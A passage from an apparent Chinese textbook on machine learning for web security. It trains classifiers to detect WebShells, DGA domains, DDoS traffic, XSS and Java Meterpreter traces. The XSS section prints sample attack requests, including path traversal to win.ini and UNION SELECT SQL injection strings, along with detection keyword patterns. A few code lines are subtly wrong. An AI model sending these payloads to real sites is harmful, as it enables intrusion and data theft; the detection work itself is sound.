cmd_list in user_cmd_list: v=[0]*len(dist) for i in range(0,len(dist)): if dist[i] in cmd_list: v[i]+=1 user_cmd_feature.append(v) return user_cmd_feature 3.训练模型 使用NB训练： clf = GaussianNB().fit(x_train, y_train) 4.效果验证 验证效果： y_predict=clf.predict(x_test) score=np.mean(y_test==y_predict)*100 准确率达到了92%，效果非常不错。"},
    {"text": "7.4 示例：检测WebShell（一） 我们基于WebShell的文本特征进行WebShell的检测。我们将互联网上搜集到的WebShell作为黑样本，当前最新的wordpress源码作为白样本。将一个PHP文件作为一个字符串处理，以基于单词的2-gram切割，遍历全部文件形成基于2-gram的词汇表，如图7-3所示。然后，进一步将每个PHP文件向量化。完整演示代码请见本书GitHub上的7-2.py。 图7-3 基于2-gram获取词汇表 1.数据搜集和数据清洗 定义函数，用于将PHP文件转换成一个字符串： def load_file(file_path): t=\"\" with open(file_path) as f: for line in f: line=line.strip('\\n') t+=line return t 遍历样本集合，将全部PHP文件以字符串的形式加载： def load_files(path): files_list=[] for r, d, files in os.walk(path): for file in files: if file.endswith('.php'): file_path=path+file print \"Load %s\" % file_path t=load_file(file_path) files_list.append(t) return files_list 针对黑样本集合，以2-gram算法生成全局的词汇表，其中2-gram基于单词切割，所以设置token的切割方法为：r'\\b\\w+\\b'。 webshell_bigram_vectorizer = CountVectorizer(ngram_range=(2, 2), decode_error=\"ignore\",token_pattern = r'\\b\\w+\\b',min_df=1) webshell_files_list=load_files(\"../data/PHP-webSHELL/xiaoma/\") x1=webshell_bigram_vectorizer.fit_transform(webshell_files_list).toarray() vocabulary=webshell_bigram_vectorizer.vocabulary_ 其中，需要特别说明以下3个参数。 ·ngram_range：设置成（2，2），表明基于2-gram； ·decode_error：设置成ignore，表明忽略异常字符的影响； ·token_pattern：设置成r'\\b\\w+\\b'，表明按照单词切割。 2.特征化 使用黑样本生成的词汇表vocabulary，将白样本特征化，其中非常重要的是设置CountVectorizer函数的vocabulary，这样才能以黑样本生成的词汇表来进行向量化： wp_bigram_vectorizer = CountVectorizer(ngram_range=(2, 2), decode_error=\"ignore\", token_pattern = r'\\b\\w+\\b',min_df=1,vocabulary=vocabulary) wp_files_list=load_files(\"../data/wordpress/\") x2=wp_bigram_vectorizer.fit_transform(wp_files_list).toarray() y2=[0]*len(x2) x=np.concatenate((x1,x2)) y=np.concatenate((y1, y2)) 3.训练样本 创建NB实例： clf = GaussianNB() 4.效果验证 我们使用三折交叉验证，所谓k折交叉验证，就是将数据集a分为训练集b和测试集c，在样本量不充足的情况下，为了充分利用数据集对算法效果进行测试，将数据集a随机分为k个包，每次将其中一个包作为测试集，剩下k-1个包作为训练集进行训练： print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=3) 测试结果如下，准确率80%左右，还有提升空间。 [ 0.73584906 0.86538462 0.75 ] 7.5 示例：检测WebShell（二） WebShell本质上就是一个远程管理工具，只不过被黑客利用了。一系列管理功能本质上是一系列函数调用，于是我们尝试针对函数调用建立特征。完整演示代码请见本书GitHub上的7-3.py。 1.数据搜集和数据清洗 针对黑样本集合，以1-gram算法生成全局的词汇表，其中1-gram基于函数和字符串常量进行切割，所以设置token的切割方法为：r'\\b\\w+\\b\\（|\\'\\w+\\''。 webshell_bigram_vectorizer = CountVectorizer(ngram_range=(1, 1), decode_error=\"ignore\", token_pattern = r_token_pattern,min_df=1) webshell_files_list=load_files(\"../data/PHP-webSHELL/xiaoma/\") x1=webshell_bigram_vectorizer.fit_transform(webshell_files_list).toarray() 生成的词汇表如下： {u\"'qid'\": 81, u\"'shellcode'\": 92, u'str_rot13(': 328, u'getuid(': 210, u'while(': 348, u\"'host'\": 50, u\"'hkwwj'\": 49, u'fatal(': 174, u'ss(': 324, u'connect(': 149, u'fprintf(': 195, u'flush(': 190, u'fread(': 197, u'sigsegv(': 318, u\"'km'\": 59, u'phpversion(': 288, u'longjmp(': 243, u'cdoount(': 140, u'akmi4(': 123, u'edoval(': 162, u'65534(': 114, u'exit(': 170, u'uid(': 342, 2.特征化 使用黑样本生成的词汇表vocabulary，将白样本特征化： wp_bigram_vectorizer = CountVectorizer(ngram_range=(2, 2), decode_error=\"ignore\",token_pattern = r_token_pattern,min_df=1,vocabulary=vocabulary) wp_files_list=load_files(\"../data/wordpress/\") x2=wp_bigram_vectorizer.fit_transform(wp_files_list).toarray() 3.训练样本 创建NB实例： clf = GaussianNB() 4.效果验证 我们继续使用三折交叉验证： print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=3) 测试结果如下，准确率96%左右，相当不错。 [ 0.96226415 0.96153846 0.96153846]"},
    {"text": "7.6 示例：检测DGA域名 域名生成算法（Domain Generation Algorithm，DGA）是一项古老但一直活跃的技术，是中心结构僵尸网络赖以生存的关键武器，该技术给打击和关闭该类型僵尸网络造成了不小的麻烦。研究人员需要快速掌握域名生成算法和输入，以便对生成的域名及时进行处置。我们尝试使用NB算法来区分正常域名以及DGA域名，DGA详细内容请阅读第12章。完整演示代码请见本书GitHub上的7-4.py。 1.数据搜集和数据清洗 加载alexa前1000的域名作为白样本，标记为0；分别加载cryptolocker和post-tovar-goz家族的DGA域名，分别标记为2和3： x1_domain_list = load_alexa(\"../data/top-1000.csv\") x2_domain_list = load_dga(\"../data/dga-cryptolocke-1000.txt\") x3_domain_list = load_dga(\"../data/dga-post-tovar-goz-1000.txt\") x_domain_list=np.concatenate((x1_domain_list, x2_domain_list,x3_domain_list)) y1=[0]*len(x1_domain_list) y2=[1]*len(x2_domain_list) y3=[2]*len(x3_domain_list) y=np.concatenate((y1, y2,y3)) 2.特征化 以2-gram处理DGA域名，如图7-4所示。 图7-4 DGA域名2-gram处理 以2-gram分隔域名，切割单元为字符，以整个数据集合的2-gram结果作为词汇表并进行映射，得到特征化的向量： cv = CountVectorizer(ngram_range=(2, 2), decode_error=\"ignore\", token_pattern=r\"\\w\", min_df=1) x= cv.fit_transform(x_domain_list).toarray() 3.训练样本 实例化NB算法： clf = GaussianNB() 4.效果验证 我们继续使用三折交叉验证： print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=3) 测试结果如下，准确率93%左右，相当不错。 [ 0.9491018 0.92992993 0.92792793] 7.7 示例：检测针对Apache的DDoS攻击 DDoS攻击通常会使企业的互联网业务造成巨大损失——业务中断几个小时甚至几天。这次我们基于KDD 99的样本数据，尝试使用NB算法识别针对Apache的DDoS攻击（见图7-5）。对KDD 99数据的详细介绍请参考第3章的相关内容。完整演示代码请见本书GitHub上的7-5.py。 图7-5 针对Apache的DDoS攻击的数据处理流程 1.数据搜集和数据清洗 KDD 99数据已经完成了大部分的数据清洗工作，KDD99数据集中每个连接用41个特征来描述： 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,normal. 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,normal. 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,normal. 0,udp,private,SF,105,146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0.00,0.00,0.00,0.00,1.00,0.00,0.00,255,254,1.00,0.01,0.00,0.00,0.00,0.00,0.00,0.00,snmpgetattack. 其中和DDoS相关的特征主要为： ·网络连接基本特征，见表7-1。 ·基于时间的网络流量统计特征，见表7-2。 表7-1 KDD 99与DDoS相关的网络连接基本特征 表7-2 KDD 99与DDoS相关的基于时间的网络流量统计特征 ·基于主机的网络流量统计特征，见表7-3。 表7-3 KDD 99与DDoS相关的基于主机的网络流量统计特征 加载KDD 99数据集中的数据： def load_kdd99(filename): x=[] with open(filename) as f: for line in f: line=line.strip('\\n') line=line.split(',') x.append(line) return x 筛选标记为apache2和normal且是http协议的数据： if ( x1[41] in ['apache2.','normal.'] ) and ( x1[2] == 'http' ): if x1[41] == 'apache2.': y.append(1) else: y.append(0) 2.特征化 挑选与DDoS相关的特征作为样本特征： x1 = [x1[0]] + x1[4:8]+x1[22:30]+x1[31:40] v.append(x1) for x1 in v : v1=[] for x2 in x1: v1.append(float(x2)) w.append(v1) 3.训练样本 实例化NB算法： clf = GaussianNB() 4.效果验证 我们使用十折交叉验证： print cross_validation.cross_val_score(clf, x, y, n_jobs=-1,cv=10) 测试结果如下，准确率99%左右，相当不错。 [ 0.99925094 0.99875156 0.99950062 0.99950062 0.996004 0.9995005 0.997003 0.98975768 0.99975019 0.99925056]"},
    {"text": "7.8 示例：识别验证码 MNIST是一个入门级的计算机视觉数据集，它包含各种手写数字图片，也包含每一张图片对应的标签，告诉我们这个是数字几。我们使用朴素贝叶斯来识别由MNIST组成的验证码。完整演示代码请见本书GitHub上的7-6.py。 1.数据搜集和数据清洗 使用MNIST离线版的数据，具体下载地址以及数据集的介绍请参考第3章相关内容： def load_data(): with gzip.open('../data/MNIST/mnist.pkl.gz') as fp: training_data, valid_data, test_data = pickle.load(fp) return training_data, valid_data, test_data 2.特征化 MNIST已经将24×24的图片特征化成长度为784的一维向量。 3.训练模型 使用NB训练： training_data, valid_data, test_data=load_data() x1,y1=training_data x2,y2=test_data clf = GaussianNB() clf.fit(x1, y1) 4.效果验证 验证效果： print cross_validation.cross_val_score(clf, x2, y2, scoring=\"accuracy\") 准确率55%左右，效果非常不理想，事实上NB算法在非黑即白的二分类问题上使用广泛，但是在多分类问题上的表现确实不如其他算法： [ 0.53684841 0.58385839 0.6043857 ] 7.9 本章小结 本章重点介绍朴素贝叶斯的基础知识以及Web安全领域的相关应用，涉及WebShell检测、DGA域名检测、针对Apache的DDoS检测等。朴素贝叶斯作为最知名也可能是历史最悠久的机器学习算法，已经默默为人类奉献了多年，至今仍在很多领域发挥着作用。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://blog.csdn.net/liyuefeilong/article/details/48448991 · https://en.wikipedia.org/wiki/MNIST_database · http://www.freebuf.com/articles/network/114693.html 还有一些参考文献值得一读： [1] Antonakakis M，Perdisci R，Dagon D，Lee W，Feamster N.Building a Dynamic Reputation System for DNS.Usenix Security Symposium，2010：273-290. [2] Antonakakis M，Perdisci R，Lee W，Vasiloglou N，Dagon D.Detecting Malware Domains at the Upper DNS Hierarchy.Usenix Conference on Security，2011：27-27. [3] Antonakakis M，Perdisci R，Nadji Y，Vasiloglou N，Abu-Nimeh S，Lee W，Dagon D.From Throw-Away Traffic to Bots：Detecting the Rise of DGA-Based Malware.Usenix Conference on Security Symposium，2011：24-24. [4] Bilge L，Kirda E，Kruegel C，Balduzzi M.Exposure：Finding Malicious Domains Using Passive DNS Analysis.Network&Distributed System Security Symposium，2011. 第8章 逻辑回归算法 逻辑回归是当前业界比较常用的机器学习方法，用于估计某种事物的可能性，比如广告的点击预测，某用户购买某商品的可能性，某病人患有某种疾病的可能性，等等。逻辑回归可以用来回归，也可以用来分类。本章首先结合广告预测的例子来介绍逻辑回归的基本概念，并给出基本的使用方式，然后介绍如何使用逻辑回归来检测基于Java的溢出攻击，最后介绍如何使用逻辑回归来识别基于MNIST数据集的验证码。 8.1 逻辑回归算法概述 在我们打开浏览器访问网页的时候，时常会在网页的边角位置看到一些似曾相识的广告，似乎和最近关注的话题和浏览的内容有关。这其实就是逻辑回归的一种应用，广告服务商自动根据你的历史浏览内容、关注话题等数据，预测你点击那一类广告的概率会更大，从而选择适当的广告素材展现在你面前，如图8-1所示。 逻辑回归也叫回归分析，是分类和预测算法中的一种。逻辑回归通过历史数据的表现对未来结果发生的概率进行预测。回归分析用来描述自变量X和因变量Y之间的关系，或者说自变量X对因变量Y的影响程度，并对因变量Y进行预测。其中因变量是我们希望获得的结果，自变量是影响结果的潜在因素，自变量可以有一个，也可以有多个。只含一个自变量的回归分析叫做一元回归分析，超过一个自变量的回归分析叫做多元回归分析。 图8-1 逻辑回归在广告领域的应用举例"},
    {"text": "8.2 示例：hello world！逻辑回归 我们先演示逻辑回归的基本使用（如图8-2所示），完整演示代码请见本书GitHub上的8-1.py。逻辑回归的核心函数为： LogisticRegression(penalty='l2', dual=False, tol=0.0001, C=1.0, fit_intercept=True, intercept_scaling=1, class_weight=None, random_state=None, solver='liblinear', max_iter=100, multi_class='ovr', verbose=0, warm_start=False, n_jobs=1) 图8-2 逻辑回归使用举例 其中比较重要的参数有以下4个。 ·random_state：随机种子。 ·C：正则化系数，越小正则化程度越高。 ·Solver：算法，包括‘newton-cg’‘lbfgs’‘liblinear’‘sag’，默认使用‘liblinear’。 ·n_jobs：并发任务数。 加载相关库文件： import numpy as np import matplotlib.pyplot as plt from sklearn import linear_model, datasets 使用经典的iris数据集合： iris = datasets.load_iris() X = iris.data[:, :2] Y = iris.target 使用逻辑回归训练并预测： logreg = linear_model.LogisticRegression(C=1e5) logreg.fit(X, Y) x_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5 y_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5 xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h)) Z = logreg.predict(np.c_[xx.ravel(), yy.ravel()]) 将结果可视化： Z = Z.reshape(xx.shape) plt.figure(1, figsize=(4, 3)) plt.pcolormesh(xx, yy, Z, cmap=plt.cm.Paired) plt.scatter(X[:, 0], X[:, 1], c=Y, edgecolors='k', cmap=plt.cm.Paired) plt.xlabel('Sepal length') plt.ylabel('Sepal width') plt.xlim(xx.min(), xx.max()) plt.ylim(yy.min(), yy.max()) plt.xticks(()) plt.yticks(()) plt.show() 8.3 示例：使用逻辑回归算法检测Java溢出攻击 完整演示代码请见本书GitHub上的8-2.py。 1.数据搜集和数据清洗 使用ADFA-LD数据集中Java溢出攻击的相关数据（见图8-3），ADFA-LD数据集详细介绍请阅读第3章相关内容。 图8-3 ADFA-LD系统调用抽象成向量 加载ADFA-LD中的正常样本数据： def load_adfa_training_files(rootdir): x=[] y=[] list = os.listdir(rootdir) for i in range(0, len(list)): path = os.path.join(rootdir, list[i]) if os.path.isfile(path): x.append(load_one_flle(path)) y.append(0) return x,y 定义遍历目录下文件的函数： def dirlist(path, allfile): filelist = os.listdir(path) for filename in filelist: filepath = os.path.join(path, filename) if os.path.isdir(filepath): dirlist(filepath, allfile) else: allfile.append(filepath) return allfile 从攻击数据集中筛选和Java溢出攻击相关的数据： def load_adfa_java_files(rootdir): x=[] y=[] allfile=dirlist(rootdir,[]) for file in allfile: if re.match( r\" ../data/ADFA-LD/Attack_Data_Master/Java_Meterpreter_\\d+/UAD-Java-Meterpreter*\", file): x.append(load_one_flle(file)) y.append(1) return x,y 2.特征化 由于ADFA-LD数据集都记录了函数调用序列，每个文件包含的函数调用序列的个数都不一致，可以参考第3章中的词集模型进行特征化： x1,y1=load_adfa_training_files(\"../data/ADFA-LD/Training_Data_Master/\") x2,y2=load_adfa_hydra_ftp_files(\"../data/ADFA-LD/Attack_Data_Master/\" x=x1+x2 y=y1+y2 vectorizer = CountVectorizer(min_df=1) x=vectorizer.fit_transform(x) x=x.toarray() 3.训练样本 实例化逻辑回归算法，正则系数为1e5： logreg = linear_model.LogisticRegression(C=1e5) 4.效果验证 我们使用十折交叉验证： print cross_validation.cross_val_score(logreg, x, y, n_jobs=-1,cv=10) 测试结果如下，准确率93%左右： 0.930928852415"},
    {"text": "8.4 示例：识别验证码 上一章提过，MNIST是一个入门级的计算机视觉数据集，包含各种手写数字图片，也包含每一张图片对应的标签，告诉我们这个是数字几。我们使用逻辑回归来识别由MNIST组成的验证码。完整演示代码请见本书GitHub上的8-3.py。 1.数据搜集和数据清洗 使用MNIST离线版的数据，具体下载地址以及数据集的介绍请参考第3章相关内容： def load_data(): with gzip.open('../data/MNIST/mnist.pkl.gz') as fp: training_data, valid_data, test_data = pickle.load(fp) return training_data, valid_data, test_data 2.特征化 MNIST已经将24×24的图片特征化成长度为784的一维向量。 3.训练模型 使用逻辑回归训练： training_data, valid_data, test_data=load_data() x1,y1=training_data x2,y2=test_data logreg = linear_model.LogisticRegression(C=1e5) logreg.fit(x1, y1) 4.效果验证 验证效果： print cross_validation.cross_val_score(logreg, x2, y2, scoring=\"accuracy\") 准确率80%左右，效果还不错，但是离可以实际使用还是有距离： [ 0.76423008 0.85238524 0.86272154] 8.5 本章小结 本章重点介绍逻辑回归的基础知识及其在Web安全领域的相关应用。回归类问题在安全领域应用较少，本章主要介绍逻辑回归的基本使用，以及基于分类问题的使用案例。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到该网站进一步了解更多信息： http://www.mamicode.com/info-detail-501714.html 。 还有一些参考文献值得一读： [1] G Creech，J Hu.A Semantic Approach to Host-based Intrusion Detection Systems Using Contiguous and Discontiguous System Call Patterns.Computers，IEEE Transactions，2013. [2] M Xie，J Hu，J Slay.Evaluating Host-Based Anomaly Detection Systems：Application of the One-Class SVM Algorithm to ADFA-LD[M].Springer International Publishing，2014. [3] A K Ghosh，A Schwartzbard，M Schatz.Learning Program Behavior Profiles for Intrusion Detection.Workshop on Intrusion Detection and Network Monitoring，vol.51462，1999. [4] G Creech，J Hu.A Semantic Approach to Host-Based Intrusion Detection Systems Using Contiguous and Discontiguous System Call Patterns.Computers，IEEE Transactions，2013. [5] Y Liao，V R Vemuri.Use of K-Nearest Neighbor Classifier for Intrusion Detection.Computers&Security，2002. [6] M Xie，J Hu.Evaluating Host-Based Anomaly Detection Systems：A Preliminary Analysis of Adfa-ld.International Congress on Image&Signal Processing，2013，03：1711-1716. 第9章 支持向量机算法 支持向量机是分类算法里面使用范围最为广泛的算法之一，甚至可以自豪地说没有之一，它广泛地应用在生活中的众多领域，基本上所有的分类问题，尤其是二分类问题，都可以先用它试下，众多机器学习的教材都把支持向量机作为第一个算法来介绍，可见其重要地位。本章将介绍支持向量机的基本概念，并给出基本的使用方式。然后介绍如何使用支持向量机来检测XSS，以及区分僵尸网络的DGA家族。"},
    {"text": "9.1 支持向量机算法概述 www.reddit.com 上面有个非常有趣的帖子，Lvhhh用白话文解释了支持向量机算法，非常形象，下面摘录一下。 某日，见蓝球（深色）红球（浅色）于一桌欲分之，见图9-1。 图9-1 红蓝球故事1 插一筷子于蓝红球之间则蓝红球可分，见图9-2。 图9-2 红蓝球故事2 未料，随着球之增多，一红球出界毁吾之分割，见图9-3。可惜可气。 图9-3 红蓝球故事3 不服，遂变化筷子方向则又可分红蓝球也，见图9-4。 图9-4 红蓝球故事4 终有体会，欲合理分清红蓝之球，必使得近处红蓝球于筷子越远越好。 他日，又偶遇众红蓝球，见图9-5，吾又欲分之。 图9-5 红蓝球故事5 拿筷子比划半天无从分离，百思不得其解。遂大怒，猛一拍桌。 见桌上之球于空中仿佛有可分之势，蓝上红下。大喜，顺势抽一张纸隔于蓝红球之间，则蓝红之球可分也，见图9-6。 图9-6 红蓝球故事6 遂可得：若于桌面上不可分（二维），则拍桌，将球腾空而起（三维），则可分之。 支持向量机（Support Vector Machine，SVM）是机器学习领域使用最广泛的算法之一，其原理如图9-7所示，通常用来进行模式识别、分类以及回归分析，它特别适合安全世界里面的非黑即白，所以我们重点介绍与分类相关的知识。 图9-7 SVM原理图 假设只有二维的特征向量，我们需要解决一个分类问题，需要通过将正常用户和黑客区分开来，如果确实可以通过一条直线区分，那么这个问题成为可以线性可区分（linear separable），如果不行则成为不可线性区分（linear inseparable）。讨论最简单的情况，假设这个分类问题是可以线性区分的，那么这个区分的直线成为超平面，距离超平面最近的样本成为支持向量（Supprot Verctor）。 图9-8 SVM从二维平面升级到三维平面 如图9-8所示，对于不可线性区分的情况，需要升级到更高的平面进行区分，比如二维平面搞不定就需要升级到三维平面来区分，这个升级就需要依靠核函数。SVM通过一个非线性映射，把样本空间映射到一个高维乃至无穷维的特征空间中（Hilbert空间），使得在原来的样本空间中非线性可分问题转化为在特征空间中的线性可分问题。简单地说，就是升维和线性化。升维，就是把样本向高维空间做映射，一般情况下这会增加计算的复杂性，甚至会引起“维数灾难”，因而人们很少问津。但是作为分类、回归等问题，很可能在低维样本空间无法线性处理的样本集，在高维特征空间中却可以通过一个线性超平面实现线性划分（或回归）。一般的升维都会带来计算的复杂化，SVM方法巧妙地解决了这个难题：应用核函数的展开定理，就不需要知道非线性映射的显式表达式；由于是在高维特征空间中建立线性学习机，所以与线性模型相比，不但几乎不增加计算的复杂性，而且在某种程度上避免了“维数灾难”。这一切要归功于核函数的展开和计算理论。 选择不同的核函数，可以生成不同的SVM，常用的核函数有以下四种： ·线性核函数K（x，y）=x·y。 ·多项式核函数K（x，y）=[（x·y）+1]^d。 ·径向基函数K（x，y）=exp（-|x-y|^2/d^2）。 ·二层神经网络核函数K（x，y）=tanh（a（x·y）+b）。 9.2 示例：hello world！支持向量机 我们先演示支持向量机的基础使用，完整演示代码请见本书GitHub上的9-1.py。 导入库文件： print(__doc__) import numpy as np import matplotlib.pyplot as plt from sklearn import svm 创建40个随机点： np.random.seed(0) X = np.r_[np.random.randn(20, 2) - [2, 2], np.random.randn(20, 2) + [2, 2]] Y = [0] * 20 + [1] * 20 # fit the model clf = svm.SVC(kernel='linear') clf.fit(X, Y) 构造超平面： w = clf.coef_[0] a = -w[0] / w[1] xx = np.linspace(-5, 5) yy = a * xx - (clf.intercept_[0]) / w[1] # plot the parallels to the separating hyperplane that pass through the # support vectors b = clf.support_vectors_[0] yy_down = a * xx + (b[1] - a * b[0]) b = clf.support_vectors_[-1] yy_up = a * xx + (b[1] - a * b[0]) 调用matplotlib画图： plt.plot(xx, yy, 'k-') plt.plot(xx, yy_down, 'k--') plt.plot(xx, yy_up, 'k--') plt.scatter(clf.support_vectors_[:, 0], clf.support_vectors_[:, 1], s=80, facecolors='none') plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired) plt.axis('tight') plt.show() 运行代码： localhost:code maidou$ python 9-1.py None localhost:code maidou$ SVM hello word代码如图9-9所示。 图9-9 SVM hello word代码"},
    {"text": "9.3 示例：使用支持向量机算法识别XSS 下面以常见的XSS检测来说明下SVM的简单应用。完整演示代码请见本书GitHub上的9-2.py。 1.处理流程 数据处理流程如图9-10所示。 图9-10 数据处理流程 2.数据搜集和数据清洗 由于我们的例子比较简单，把上述两个步骤合并即可，准备数量相等的正常Web访问日志和XSS攻击的Web日志，最简单的方法是参考我以前的文章《基于WAVSEP的靶场搭建指南》，使用WVS等扫描器仅扫描XSS相关漏洞即可获取XSS攻击的Web日志。 3.特征化 实践中数据搜集&数据清洗是最费时间的，特征化是最烧脑的，因为世界万物是非常复杂的，具有很多属性，然而机器学习通常只能理解数字向量，这个从现实世界的物体转变成计算世界的数字的过程就是特征化，也叫向量化。比如要你特征化你前女友，你总不能说漂亮、温柔这些词，需要对最能代表她的特点的方面进行数字化，如图9-11所示。 图9-11 现实生活中将事物向量化的例子 你会发现各个向量之间的数据范围差别很大，一个月消费能力可能就干掉其他特征对结果的影响了，虽然现实生活中这个指标确实影响很大，但是不足以干掉其他全部特征，所以我们还需要对特征进行标准化，常见的方式为： ·标准化； ·均方差缩放； ·去均值。 回到XSS的问题上，我们需要针对Web日志进行特征化，如图9-12所示。 图9-12 Web日志特征举例 特征提取的示例代码如下： def get_len(url): return len(url) def get_url_count(url): if re.search('(http://)|(https://)', url, re.IGNORECASE) : return 1 else: return 0 def get_evil_char(url): return len(re.findall(\"[<>,\\'\\\"/]\", url, re.IGNORECASE)) def get_evil_word(url): return len(re.findall(\"(alert)|(script=)(%3c)|(%3e)|(%20)|(onerror)|(onload)|(eval)|(src=)|(prompt)\",url,re.IGNORECASE)) 数据标准化使用如下代码即可： min_max_scaler = preprocessing.MinMaxScaler() x_min_max=min_max_scaler.fit_transform(x) 4.数据打标 XSS标记为1，正常访问标记为0。 5.数据拆分 这一步是为了随机把数据区分成训练组和测试组，通常直接使用cross_validation.train_test_split即可，通常40%作为测试样本，60%作为训练样本，这个比例可以根据自己的需要进行调节： x_train, x_test, y_train, y_test = cross_validation.train_test_split(x,y, test_size=0.4, random_state=0) 6.数据训练 使用Scikit-Learn的SVM模型即可，SVM用于分类的模型称为SVC，我们使用最简单的核函数linear： clf = svm.SVC(kernel='linear', C=1).fit(x, y) joblib.dump(clf,\"xss-svm-200000-module.m\") 7.模型验证 通过加载训练后的模型，针对测试集合进行预测，将预测结果与打标结果进行比对： clf=joblib.load(\"xss-svm-200000-module.m\") y_test=[] y_test=clf.predict(x) print metrics.accuracy_score(y_test, y) 在测试环节中，我们在一个各有20万个样本的黑白模型上进行训练，在一个各有5万个样本的黑白测试集上进行校验，任何黑白预测错都判断为错误，最后运行结果准确率为80%，对于机器学习而言，仅依靠模型优化，这个比例已经很高了。通过在更大的数据集合上进行训练（比如大型CDN&云WAF集群的日志），进一步增加特征个数以及增加后面环节的自动化或者半自动化的验证，可以进一步提高这个比例，最后我们做到了准确率90%以上。图9-13是特征扩展的举例，大家可以根据实际情况增加个数。 图9-13 Web日志特征 8.异常数据 通过SVM我们识别出了异常数据，经过人工确认，除了变形的XSS以外，还有不少其他攻击行为，由于测试时只打开了XSS的规则签名，所以其他攻击行为没有拦截，也进入了白样本，举例如下： /.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini /index.php?op=viewarticle&articleid=9999/**/union/**/select/**/1331908730,1,1,1,1,1,1,1--&blogid=1 /index.php?go=detail&id=-99999/**/union/**/select/**/0,1,concat(1331919200,0x3a,512612977),3,4,5,6,7,8,9,10,11,12,13,14,15,16 /examples/jsp/num/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini /cgi-bin/modules/tinymce/content_css.php?templateid=-1/**/union/**/select/**/1331923205,1,131076807-- /manager/ajax.php?rs=__exp__getfeedcontent&rsargs[]=-99 union select 1161517009,2,1674610116,4,5,6,7,8,9,0,1,2,3 -- 从广义上讲，XSS和SQL注入都是属于代码注入导致的漏洞。我们推测由于训练样本中混入了SQL注入的样本，所以导致训练结果中也出现了了SQL注入。"},
    {"text": "9.4 示例：使用支持向量机算法区分僵尸网络DGA家族 僵尸网络为了躲避域名黑名单，通常会使用DGA技术动态生成域名，通过DGA域名的不同特征，可以尝试识别不同的家族群。我们以常见的cryptolocker和post-tovar-goz两个僵尸网络家族为例，完整演示代码请见本书GitHub上的9-3.py。 9.4.1 数据搜集和数据清洗 实验阶段，我们搜集了如下数据： ·1000个cryptolocker域名； ·1000个post-tovar-goz域名； ·alexa前1000域名。 DGA文件格式如下： xsxqeadsbgvpdke.co.uk,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13,http://osint.bambenekconsulting.com/manual/cl.txt 从DGA文件中提取域名数据： def load_dga(filename): domain_list=[] #xsxqeadsbgvpdke.co.uk,Domain used by Cryptolocker - Flashback DGA for 13 Apr 2017,2017-04-13, # http://osint.bambenekconsulting.com/manual/cl.txt with open(filename) as f: for line in f: domain=line.split(\",\")[0] if domain >= MIN_LEN: domain_list.append(domain) return domain_list alexa文件使用CSV格式保存域名的排名和域名，提取数据方式如下： def load_alexa(filename): domain_list=[] csv_reader = csv.reader(open(filename)) for row in csv_reader: domain=row[1] if domain >= MIN_LEN: domain_list.append(domain) return domain_list"},
    {"text": "9.4.2 特征化 1.元音字母个数 正常人通常在取域名的时候，都会偏向选取“好读”的几个字母组合，抽象成数学可以理解的语言，这使英文的元音字母比例会比较高。"},
    {"text": "读取alexa域名数据： x1_domain_list = load_alexa(\"../data/top-1000.csv\") 计算元音字母的比例： def get_aeiou(domain_list): x=[] y=[] for domain in domain_list: x.append(len(domain)) count=len(re.findall(r'[aeiou]',domain.lower())) count=(0.0+count)/len(domain) y.append(count) return x,y 分别获取两个僵尸网络DGA域名数据以及alexa域名数据，并计算元音字母比例： x1_domain_list = load_alexa(\"../data/top-1000.csv\") x_1,y_1=get_aeiou(x1_domain_list) x2_domain_list = load_dga(\"../data/dga-cryptolocke-1000.txt\") x_2,y_2=get_aeiou(x2_domain_list) x3_domain_list = load_dga(\"../data/dga-post-tovar-goz-1000.txt\") x_3,y_3=get_aeiou(x3_domain_list) 以域名长度为横轴，元音字母比例为纵轴作图： fig,ax=plt.subplots() ax.set_xlabel('Domain Length') ax.set_ylabel('AEIOU Score') ax.scatter(x_3,y_3,color='b',label=\"dga_post-tovar-goz\",marker='o') ax.scatter(x_2, y_2, color='g', label=\"dga_cryptolock\",marker='v') ax.scatter(x_1, y_1, color='r', label=\"alexa\",marker='*') ax.legend(loc='best') plt.show() 分析图9-14，不同家族之间具有明显聚合效果，正常域名与DGA之间具有一定的区分性。"},
    {"text": "图9-14 元音字母比例分布图 2 .去重后的字母数字个数与域名长度的比例 去重后的字母数字个数指的是域名中去掉重复的字母和数字后的个数，比如： ·baidu的个数为5；"},
    {"text": "计算去重后的字母数字个数可以使用python的set数据结构： def get_uniq_char_num(domain_list): x=[] y=[] for domain in domain_list: x.append(len(domain)) count=len(set(domain)) count=(0.0+count)/len(domain) y.append(count) return x,y 分别获取两个僵尸网络DGA域名数据以及alexa域名数据，并计算去重后的字母数字个数与域名长度的比例： x1_domain_list = load_alexa(\"../data/top-1000.csv\") x_1,y_1=get_uniq_char_num(x1_domain_list) x2_domain_list = load_dga(\"../data/dga-cryptolocke-1000.txt\") x_2,y_2=get_uniq_char_num(x2_domain_list) x3_domain_list = load_dga(\"../data/dga-post-tovar-goz-1000.txt\") x_3,y_3=get_uniq_char_num(x3_domain_list) 以域名长度为横轴，去重后的字母数字占域名长度的比例为纵轴作图，结果如图9-15所示。"},
